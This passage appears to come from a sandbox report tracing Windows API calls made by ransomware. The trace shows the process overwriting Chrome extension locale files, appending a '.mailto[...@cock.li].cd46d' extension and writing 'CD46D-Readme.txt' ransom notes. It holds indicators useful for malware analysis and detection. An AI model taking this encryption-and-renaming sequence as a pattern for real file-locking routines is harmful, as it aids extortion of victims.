Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x6ed218ef [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x27f0ad6b [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x1f52a1d9 [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x71dc6a48 [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x6e3b8807 [0198.391] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x6f18be92 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x78df6df3 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x4c651ad4 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x4f294abb [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x33923d2e [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x7e85a2d0 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x42bfc10c [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x868026a [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x1dcf2df6 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x1a9a8d12 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x697c5b33 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x2494daef [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x3fd06f36 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x2ac3b2be [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x6c4637dc [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x1c48e7b0 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x3afc5cf7 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x788d9eb3 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0xa31c70c [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x5a41765d [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x1b5f3e2f [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x73391700 [0198.392] RtlRandomEx (in: Seed=0x15f0fd2c | out: Seed=0x15f0fd2c) returned 0x408bd926 [0198.405] ReadFile (in: hFile=0x1754, lpBuffer=0x945cf0, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x15f0fd1c, lpOverlapped=0x0 | out: lpBuffer=0x945cf0*, lpNumberOfBytesRead=0x15f0fd1c*=0xd1, lpOverlapped=0x0) returned 1 [0198.407] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.407] WriteFile (in: hFile=0x1754, lpBuffer=0x9524f8*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x15f0fd18, lpOverlapped=0x0 | out: lpBuffer=0x9524f8*, lpNumberOfBytesWritten=0x15f0fd18*=0xd1, lpOverlapped=0x0) returned 1 [0199.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedd0 [0199.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0f0 [0199.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0f0) returned 1 [0199.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9524f8) returned 1 [0199.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945cf0) returned 1 [0199.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fab00) returned 1 [0199.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a10) returned 1 [0199.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8838 [0199.541] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.541] WriteFile (in: hFile=0x1754, lpBuffer=0x12cf5db0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x15f0fd80, lpOverlapped=0x0 | out: lpBuffer=0x12cf5db0*, lpNumberOfBytesWritten=0x15f0fd80*=0x10b, lpOverlapped=0x0) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5db0) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0f0) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedd0) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455c8) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945668) returned 1 [0199.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945be0) returned 1 [0199.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c66a0 [0199.621] wcscpy (in: _Dest=0xd4c66a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" [0199.621] wcscat (in: _Dest=0xd4c66a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.621] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15f0fd38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0199.664] FlushFileBuffers (hFile=0x1754) returned 1 [0199.673] CloseHandle (hObject=0x1754) returned 1 [0199.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b65b8 [0199.703] wcscpy (in: _Dest=0x9b65b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\" [0199.703] wcscat (in: _Dest=0x9b65b8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\CD46D-Readme.txt" [0199.703] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\cd46d-readme.txt")) returned 0xffffffff [0199.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9a0 [0199.718] WriteFile (in: hFile=0x9a0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x15f0fd40, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x15f0fd40*=0x6fd, lpOverlapped=0x0) returned 1 [0199.725] CloseHandle (hObject=0x9a0) returned 1 [0199.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b65b8) returned 1 [0199.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d1e8) returned 1 Thread: id = 8406 os_tid = 0x186c [0193.452] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json")) returned 0x2020 [0193.452] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json", dwFileAttributes=0x20) returned 1 [0193.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf24 [0193.453] GetFileSizeEx (in: hFile=0xf24, lpFileSize=0x1622fbc8 | out: lpFileSize=0x1622fbc8*=235) returned 1 [0193.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938220 [0193.453] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938478 [0193.453] NtQuerySystemTime (in: CurrentTime=0x1622fb28 | out: CurrentTime=0x1622fb28*=132174899680570000) returned 0x0 [0193.453] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x3bf0f6d4 [0193.453] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x2fad191f [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x1dd2c12a [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x6c42bd8d [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x23276fc3 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x6efe257b [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x65ef9fe6 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x4ec5efd2 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x40adbb15 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x2d64e071 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x34f04f63 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x4b47fb93 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x73a2409 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x102b67f5 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x5fea38a6 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x66ea85d9 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x738140d2 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x5e3a1948 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x5551e86d [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x70d12cfa [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x269daa02 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0xf21abf8 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x249ac87d [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x2f960ee8 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x45e6b448 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x43829673 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x471a6ac6 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x6434e112 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x48813170 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x4cc7f1b7 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x6c275ec1 [0193.454] RtlRandomEx (in: Seed=0x1622fb34 | out: Seed=0x1622fb34) returned 0x46670d96 [0193.468] ReadFile (hFile=0xf24, lpBuffer=0x12e11960, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x1622fb24, lpOverlapped=0x0) [0193.469] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.469] WriteFile (in: hFile=0xf24, lpBuffer=0x13310048*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x1622fb20, lpOverlapped=0x0 | out: lpBuffer=0x13310048*, lpNumberOfBytesWritten=0x1622fb20*=0xeb, lpOverlapped=0x0) returned 1 [0195.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9097d0 [0195.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909410 [0195.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909410) returned 1 [0195.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13310048) returned 1 [0195.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e11960) returned 1 [0195.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e93b8) returned 1 [0195.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6cc0 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f9ac8 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e93b8 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909410 [0195.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909410) returned 1 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6cf0 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909410 [0195.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909320 [0195.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909320) returned 1 [0195.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e93b8) returned 1 [0195.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0195.150] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf5720 [0195.150] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.150] WriteFile (in: hFile=0xf24, lpBuffer=0x12cf5720*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1622fb88, lpOverlapped=0x0 | out: lpBuffer=0x12cf5720*, lpNumberOfBytesWritten=0x1622fb88*=0x10b, lpOverlapped=0x0) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5720) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6cf0) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909410) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6cc0) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9097d0) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938220) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9384a0) returned 1 [0197.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9384c8) returned 1 [0197.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494370 [0197.724] wcscpy (in: _Dest=0xd494370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" [0197.724] wcscat (in: _Dest=0xd494370, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.724] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1622fb40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ba8 [0197.900] FlushFileBuffers (hFile=0xf24) returned 1 [0197.908] CloseHandle (hObject=0xf24) returned 1 [0197.971] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6098 [0197.971] wcscpy (in: _Dest=0x9b6098, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\" [0197.971] wcscat (in: _Dest=0x9b6098, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\CD46D-Readme.txt" [0197.971] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\cd46d-readme.txt")) returned 0xffffffff [0197.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0198.098] WriteFile (in: hFile=0x584, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1622fb48, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x1622fb48*=0x6fd, lpOverlapped=0x0) returned 1 [0198.099] CloseHandle (hObject=0x584) returned 1 [0198.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6098) returned 1 [0198.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d320) returned 1 Thread: id = 8407 os_tid = 0x18e0 [0193.471] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json")) returned 0x2020 [0193.471] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json", dwFileAttributes=0x20) returned 1 [0198.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0198.407] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x1627fc28 | out: lpFileSize=0x1627fc28*=279) returned 1 [0198.408] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x113, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.408] ReadFile (in: hFile=0x14b8, lpBuffer=0x1627fbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1627fba8, lpOverlapped=0x0 | out: lpBuffer=0x1627fbac*, lpNumberOfBytesRead=0x1627fba8*=0x4, lpOverlapped=0x0) returned 1 [0198.408] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9456b8 [0198.409] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0198.409] NtQuerySystemTime (in: CurrentTime=0x1627fb88 | out: CurrentTime=0x1627fb88*=132174899730022000) returned 0x0 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: 